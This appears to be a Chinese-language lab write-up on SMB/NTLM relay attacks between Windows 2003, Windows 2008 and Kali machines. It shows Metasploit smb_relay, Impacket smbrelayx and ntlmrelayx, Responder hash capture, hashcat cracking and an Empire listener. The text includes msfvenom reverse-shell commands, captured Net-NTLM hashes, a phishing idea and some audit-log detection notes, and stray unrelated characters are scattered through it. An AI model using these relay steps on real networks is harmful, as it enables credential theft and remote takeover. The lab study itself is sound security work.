背景知識(shí)
什么是SMB
服務(wù)器消息塊(SMB)協(xié)議是一種網(wǎng)絡(luò)文件共享協(xié)議,在Microsoft Windows中實(shí)現(xiàn)稱為Microsoft SMB協(xié)議张足。SMB允許您共享文件愿险,磁盤旺拉,目錄,打印機(jī)等撑蒜。在Windows 2000之前歹啼,SMB過(guò)去通過(guò)TCP / IP端口139與NetBIOS一起運(yùn)行。因此减江,建立SMB連接需要NetBIOS會(huì)話染突。
從Windows 2000及更高版本開始,SMB可以使用端口445在TCP / IP
上運(yùn)行辈灼,而無(wú)需運(yùn)行NetBIOS
會(huì)話份企。由于SMB提供了多種功能,例如操作文件巡莹,共享司志,消息傳遞,IPC等降宅,它在內(nèi)網(wǎng)枚舉和內(nèi)網(wǎng)探索階段是對(duì)黑客最有吸引力的服務(wù)之一骂远。
另一方面,Samba是SMB的UNIX實(shí)現(xiàn)腰根。Samba用于為客戶端提供通過(guò)SMB協(xié)議訪問UNIX目錄和文件的能力激才,如果他們與Windows服務(wù)器通信則完全相同。Samba現(xiàn)在可以在多個(gè)平臺(tái)上運(yùn)行额嘿,是大多數(shù)Linux發(fā)行版的重要組成部分瘸恼。
經(jīng)常看到兩個(gè)特殊共享:IPC$
和ADMIN$
共享。ADMIN$
共享基本上可以被認(rèn)為是路徑C:\Windows
的符號(hào)鏈接。[3] IPC$
略有不同霞赫。它不直接映射到文件系統(tǒng),而是提供一個(gè)接口靠闭,通過(guò)該接口可以執(zhí)行遠(yuǎn)程過(guò)程調(diào)用(RPC)帐我。
NTLM hash 和 Net-NTLM hash
-
NTLM(V1/V2)
的hash是存放在安全賬戶管理(SAM)數(shù)據(jù)庫(kù)以及域控的NTDS.dit數(shù)據(jù)庫(kù)中,獲取該Hash值可以直接進(jìn)行Pass the Hash
攻擊 -
Net-NTLM(V1/V2)
的hash值是基于用戶密碼的NTLM hash計(jì)算出來(lái)的愧膀,用于網(wǎng)絡(luò)中的認(rèn)證拦键,步驟如下:- 客戶端向服務(wù)器發(fā)送一個(gè)請(qǐng)求,請(qǐng)求中包含明文的登錄用戶名扇调。服務(wù)器會(huì)提前保存登錄用戶名和對(duì)應(yīng)的密碼 hash
- 服務(wù)器接收到請(qǐng)求后矿咕,生成一個(gè) 16 位的隨機(jī)數(shù) (被稱為 Challenge也就是挑戰(zhàn)碼), 明文返回客戶端抢肛。使用存儲(chǔ)的登錄用戶密碼 hash 加密 Challenge狼钮,獲得 Challenge1
- 客戶端接收到 Challenge 后,使用登錄用戶的密碼 hash 對(duì) Challenge 加密捡絮,獲得 Challenge2(這個(gè)結(jié)果被稱為 response)熬芜,將 response 發(fā)送給服務(wù)器
- 服務(wù)器接收客戶端加密后的 response,比較 Challenge1 和 response福稳,如果相同涎拉,驗(yàn)證成功
在 NTLM 認(rèn)證中,NTLM 響應(yīng)分為 NTLM v1的圆,NTLMv2鼓拧,NTLM session v2 三種協(xié)議,不同協(xié)議使用不同格式的 Challenge 和加密算法越妈,所以也就存在不同協(xié)議的 Net-NTLM hash季俩,即 Net-NTLM v1 hash,Net-NTLM v2 hash梅掠。
NTLM和SMB的關(guān)系
SMB的認(rèn)證可以基于NTLM協(xié)議或者kerberos協(xié)議酌住,前者使用了hash,后者使用了ticket阎抒,是構(gòu)成SMB的PtH
和PtT
攻擊的基礎(chǔ)酪我。
NTLM 并沒有定義它所依賴的傳輸層協(xié)議。NTLM 消息的傳輸完全依賴于使用 NTLM 的上層協(xié)議來(lái)決定且叁,可以是SMB都哭,也可以是TCP,亦或HTTP逞带。
從攻擊角度來(lái)看
- 可以利用NTLM哈希值進(jìn)行“哈希傳遞”攻擊
- 無(wú)法利用Net-NTLM哈希值來(lái)進(jìn)行“哈希傳遞”攻擊
實(shí)驗(yàn)smb中繼攻擊(smb relay attack)
三臺(tái)實(shí)驗(yàn)機(jī):
- 192.168.138.128 windows 2003 r2
- 192.168.138.134 windows 2008 r2
- 192.168.138.136 kali
metasploit
中的smb_relay
實(shí)質(zhì)上是ms08-068
msf exploit(windows/smb/smb_relay) > show options
Module options (exploit/windows/smb/smb_relay):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE ADMIN$ yes The share to connect to
SMBHOST no The target SMB server (leave empty for originating system)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 445 yes The local port to listen on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.138.136 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
在windows 2003命令提示符dir \\192.168.138.136\c$
欺矫,然后在kali中會(huì)看到
msf exploit(windows/smb/smb_relay) >
[*] Received 192.168.138.128:1032 X-90E984B4C76D4\Administrator LMHASH:77c5c86213cb376f72448eba4af2c32102bb5a6f121f4cc5 NTHASH:77c5c86213cb376f72448eba4af2c32102bb5a6f121f4cc5 OS:Windows Server 2003 R2 3790 Service Pack 2 LM:
[*] Authenticating to 192.168.138.128 as X-90E984B4C76D4\Administrator...
[*] AUTHENTICATED as X-90E984B4C76D4\Administrator...
[*] Connecting to the defined share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \hGaRjHmf.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (179779 bytes) to 192.168.138.128
[*] Closing service handle...
[*] Deleting \hGaRjHmf.exe...
然后直接getshell,還是system權(quán)限掰担,因?yàn)檎{(diào)用了系統(tǒng)服務(wù)汇陆。
msf exploit(windows/smb/smb_relay) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ X-90E984B4C76D4 192.168.138.136:4444 -> 192.168.138.128:1034 (192.168.138.128)
Impacket中的smbrelayx
先生成一個(gè)msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.138.136 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\test.exe
(如果沒有-e
則會(huì)導(dǎo)致會(huì)話無(wú)法執(zhí)行指令,迷)
啟用msfconsole
中exploit/multi/handler
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.138.136
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.138.136:4444
運(yùn)行smbrelayx.py
带饱,隨后在Windows2003上執(zhí)行dir \\192.168.138.136\c$
root@kali:~/github.com/impacket/examples# ./smbrelayx.py -e ~/test.exe
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
...
[*] SMBD: Received connection from 192.168.138.128, attacking target 192.168.138.128
[*] Downgrading to standard security
[*] Administrator::X-90E984B4C76D4::78eea6111789ff58a34021f7f705f1a7:010100000000000064064c9c61a2d401977f42bea6b5faeb0000000002001e003100390032002e003100360038002e003100330038002e003100330036000000000000000000
[*] Sending status code STATUS_SUCCESS after authentication to 192.168.138.128
[*] Requesting shares on 192.168.138.128.....
[-] TreeConnectAndX not found C$
[*] Found writable share C$
[*] Uploading file ZFeWbgQb.exe
[*] Opening SVCManager on 192.168.138.128.....
[*] Creating service Lgnj on 192.168.138.128.....
[*] Starting service Lgnj.....
[*] Service Installed.. CONNECT!
[*] Opening SVCManager on 192.168.138.128.....
[*] Stopping service Lgnj.....
[*] Removing service Lgnj.....
[*] Removing file ZFeWbgQb.exe.....
但是因?yàn)闆]有自動(dòng)遷移進(jìn)程毡代,導(dǎo)致Removing file
的時(shí)候阅羹,會(huì)話也隨之關(guān)閉了,補(bǔ)上set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) >
[*] Sending stage (179779 bytes) to 192.168.138.128
[*] Session ID 2 (192.168.138.136:4444 -> 192.168.138.128:1072) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against X-90E984B4C76D4
[*] Current server process: rsARNJVQ.exe (2924)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3548
成功獲得了會(huì)話教寂。查看Windows2003的安全日志中的登陸記錄捏鱼。
成功的網(wǎng)絡(luò)登錄:
用戶名: Administrator
域: X-90E984B4C76D4
登錄 ID: (0x0,0x24EC4B)
登錄類型: 3
登錄過(guò)程: NtLmSsp
身份驗(yàn)證數(shù)據(jù)包: NTLM
工作站名: \\192.168.138.136
登錄 GUID: -
調(diào)用方用戶名: -
調(diào)用方域: -
調(diào)用方登錄 ID: -
調(diào)用方進(jìn)程 ID: -
傳遞服務(wù): -
源網(wǎng)絡(luò)地址: 192.168.138.136
源端口: 0
然后在Windows2008上用同樣的方式測(cè)試,結(jié)果失敗了酪耕。查看安全日志导梆,smbrelayx.py
使用的是NTLM
協(xié)議。
失敗信息:
失敗原因: 登錄期間出錯(cuò)迂烁。
狀態(tài): 0xc0000225
子狀態(tài): 0x0
進(jìn)程信息:
調(diào)用方進(jìn)程 ID: 0x0
調(diào)用方進(jìn)程名: -
網(wǎng)絡(luò)信息:
工作站名: \\192.168.138.136
源網(wǎng)絡(luò)地址: 192.168.138.136
源端口: 56764
詳細(xì)身份驗(yàn)證信息:
登錄進(jìn)程:
身份驗(yàn)證數(shù)據(jù)包: NTLM
傳遞服務(wù): -
數(shù)據(jù)包名(僅限 NTLM): -
密鑰長(zhǎng)度: 0
于是執(zhí)行smbrelayx.py -e ~\test.exe -h 192.168.138.134
看尼。
在192.168.138.128上執(zhí)行net use \\192.168.138.136\c$
,會(huì)提示登陸盟步。如果用dir \\192.168.138.136\c$
則不會(huì)出現(xiàn)登陸提示藏斩。對(duì)于 SMB 協(xié)議,客戶端在連接服務(wù)端時(shí)却盘,默認(rèn)先使用本機(jī)的用戶名和密碼 hash 嘗試登錄狰域。
smbrelayx.py
會(huì)先用192.168.138.128中已有的憑據(jù)去嘗試登陸192.168.138.134,但是失敗了(下圖中的FAILED
)黄橘。根據(jù)提示輸入192.168.138.134正確的用戶密碼后兆览,kali
已經(jīng)截獲了這段憑據(jù)并成功登陸192.168.138.134(下圖中的SUCCESSD
)。
同時(shí)msfconsole
也有新的會(huì)話塞关。
msf exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
10 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-NCKR2PCSN9S 192.168.138.136:4444 -> 192.168.138.134:49175 (192.168.138.134)
可以看到用的是ntlm v2
了
Responder
自從MS08-068漏洞修復(fù)之后無(wú)法再將Net-NTLM
哈希值傳回到發(fā)起請(qǐng)求的機(jī)器上抬探,除非進(jìn)行跨協(xié)議轉(zhuǎn)發(fā),但是該哈希值仍然可以通過(guò)中繼轉(zhuǎn)發(fā)給另外一臺(tái)機(jī)器描孟。利用Responder結(jié)合其他中繼工具可以進(jìn)行自動(dòng)化的攔截并且對(duì)哈希值進(jìn)行中繼轉(zhuǎn)發(fā)驶睦。唯一的一個(gè)不足之處就是,在這之前需要在進(jìn)行轉(zhuǎn)發(fā)操作的機(jī)器上禁用SMB簽名匿醒。但是除了個(gè)別的例外场航,所有的Windows操作系統(tǒng)都默認(rèn)關(guān)閉了SMB簽名。
在開啟了 SMB Signing 的情況下廉羔,在 SMB 協(xié)議利用 NTLM SSP 進(jìn)行了身份驗(yàn)證后溉痢,后續(xù)的所有數(shù)據(jù)包,都會(huì)利用 NTLM SSP 生成的這個(gè) session key 進(jìn)行簽名憋他。SMB 服務(wù)端收到后續(xù)的數(shù)據(jù)包后孩饼,也會(huì)檢查數(shù)據(jù)包的簽名,如果簽名不對(duì)竹挡,則拒收镀娶。
NTLM SSP 在生成 session key 的時(shí)候,會(huì)需要用到賬號(hào)密碼的原始 LM HASH 或 NT HASH揪罕。而 relay 型的攻擊梯码,都是站在一個(gè)中間人的位置宝泵,我們是不可能知道原始的 LM HASH 或 NT HASH 的(如果知道了也就不需要 Relay 這種攻擊手法了)。所以轩娶,我們是無(wú)法計(jì)算出來(lái)這個(gè) session key 的儿奶,自然也就無(wú)法對(duì)數(shù)據(jù)包進(jìn)行簽名。[1]
kali上開啟Responder
[+] Listening for events...
[SMB] NTLMv1-SSP Client : 192.168.138.128
[SMB] NTLMv1-SSP Username : X-90E984B4C76D4\Administrator
[SMB] NTLMv1-SSP Hash : Administrator::X-90E984B4C76D4:EA5A228BDB5C97EF00000000000000000000000000000000:C81588416C74D38286FA5B45E180A3B9ED9615F496792D98:1456aee87021480e
[SMBv2] NTLMv2-SSP Client : 192.168.138.134
[SMBv2] NTLMv2-SSP Username : WIN-NCKR2PCSN9S\Administrator
[SMBv2] NTLMv2-SSP Hash : Administrator::WIN-NCKR2PCSN9S:6eb8f43844d7feb7:E0F877DF0A4855484566B24F795B718F:0101000000000000C0653150DE09D201100D18CCAEF2EC42000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000080030003000000000000000000000000030000088A9ED7EC61592A92226F2414C047FF23551F31ED123B23866B5F290BD36C6A60A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330038002E00310033003600000000000000000000000000
截取到的hash可以使用hashcat去破解鳄抒,可以看到破解出來(lái)的密碼是123456
hashcat -m 哈希類型 Administrator::X-90E984B4C76D4:EA5A228BDB5....
-m: hash-type闯捎,5600對(duì)應(yīng)NetNTLMv2,5500對(duì)應(yīng)NetNTLMv1许溅,通過(guò)hashcat --help
可以查看支持的hash類型
-o: 輸出文件 字典文件為/tmp/password.list
–force代表強(qiáng)制執(zhí)行瓤鼻,windows系統(tǒng)不支持Intel OpenCL
實(shí)際利用:發(fā)送釣魚郵件,用戶打開郵件時(shí)會(huì)隱蔽訪問偽造的服務(wù)器闹司,服務(wù)器通過(guò)捕獲數(shù)據(jù)包就能獲得目標(biāo)當(dāng)前用戶的Net-NTLM hash娱仔,進(jìn)一步破解還原出明文密碼。
responder充其量只有一個(gè)回顯hash功能游桩,可以結(jié)合ntlmrelayx.py
和Empire框架
進(jìn)行進(jìn)一步利用。
修改
/etc/responder/Responder.conf
禁用SMB
和HTTP
功能耐朴。
執(zhí)行responder -I eth0 -r -d -v
-
下載并安裝
empire
框架借卧,新建一個(gè)監(jiān)聽器(坑)(Empire: listeners) > uselistener http (Empire: listeners/http) > set Host http://192.168.138.136:8080 (Empire: listeners/http) > set Port 8080 (Empire: listeners/http) > set Name test (Empire: listeners/http) > execute
并生成對(duì)應(yīng)的powershell命令
-
開啟中繼,
ntlmrelayx.py -t 192.168.138.134 -c 'powershell腳本生成的內(nèi)容'
responder正在拼命毒化請(qǐng)求
將Windows2003的密碼改為與Windows2008一樣之后筛峭,資源管理器訪問\\test
铐刘,終于成功了。
結(jié)合上述方法再借助DeathStar這樣的工具影晓,攻擊者將很輕易獲取windows的域管理權(quán)限镰吵。(Todo)
本地安全策略->高級(jí)審核策略配置->對(duì)象訪問
啟用對(duì)共享文件的審核,在系統(tǒng)安全日志中可以查看到5140和5145兩個(gè)事件
5140事件
已訪問網(wǎng)絡(luò)共享對(duì)象挂签。
主題:
安全 ID: WIN-NCKR2PCSN9S\Administrator
帳戶名: Administrator
帳戶域: WIN-NCKR2PCSN9S
登錄 ID: 0xaeca69
網(wǎng)絡(luò)信息:
對(duì)象類型: File
源地址: 192.168.138.136
源端口: 51548
共享信息:
共享名: \\*\IPC$
共享路徑:
訪問請(qǐng)求信息:
訪問掩碼: 0x1
訪問次數(shù): ReadData (或 ListDirectory)
5145事件
已檢查網(wǎng)絡(luò)共享對(duì)象是否可以授予客戶端所需的訪問權(quán)限疤祭。
使用者:
安全 ID: WIN-NCKR2PCSN9S\Administrator
帳戶名: Administrator
帳戶域: WIN-NCKR2PCSN9S
登錄 ID: 0xaeca69
網(wǎng)絡(luò)信息:
對(duì)象類型: File
源地址: 192.168.138.136
源端口: 51548
共享信息:
共享名稱: \\*\ADMIN$
共享路徑: \??\C:\Windows
相對(duì)目標(biāo)名稱: Temp\__output
訪問請(qǐng)求信息:
訪問掩碼: 0x1
訪問: ReadData (或 ListDirectory)
訪問檢查結(jié)果:
-
其他手段
metasploit中的auxiliary/docx/word_unc_injector
會(huì)創(chuàng)建一個(gè)帶有unc路徑
的word文件,當(dāng)該文件被打開的時(shí)候kali就會(huì)收到NTLMv2 hash饵婆。